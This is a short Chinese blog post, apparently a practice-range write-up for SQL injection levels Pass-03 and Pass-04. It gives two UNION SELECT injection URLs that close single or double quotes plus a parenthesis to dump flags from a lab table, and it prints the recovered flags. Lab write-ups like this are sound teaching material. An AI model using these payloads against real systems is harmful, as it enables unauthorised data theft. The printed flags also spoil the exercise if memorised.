文章目录

掌控安全 SQL 注入靶场练习 - 引号括号错误注入

2020年12月9日

| 阅读

根据之前的经验，已经猜测出过关 Flag 的值了。

接下来两关是引号与括号的组合。

1
2
3
4
--- 1. 注意闭合 单引号 和 括号
http://vulhub.example.com:81/Pass-03/index.php?id=1') and 1=2 union select 1,2,(select group_concat(flag) from error_flag) --+ 1

--- flags: zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

1
2
3
4
--- 1. 注意闭合 双引号 和 括号
http://vulhub.example.com:81/Pass-04/index.php?id=1") and 1=2 union select 1,2,(select group_concat(flag) from error_flag) --+ 1

--- flags: zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K

原文链接：https://typonotes.com/posts/2020/12/09/zkaq-sql-inject-by-error-quote-and-bracket/
本文为原创文章，转载注明出处。
欢迎 扫码关注公众号 Go与云原生 或 订阅网站 https://typonotes.com/ 。
第一时间看后续精彩文章。觉得好的话，请猛击文章右下角「在看」，感谢支持。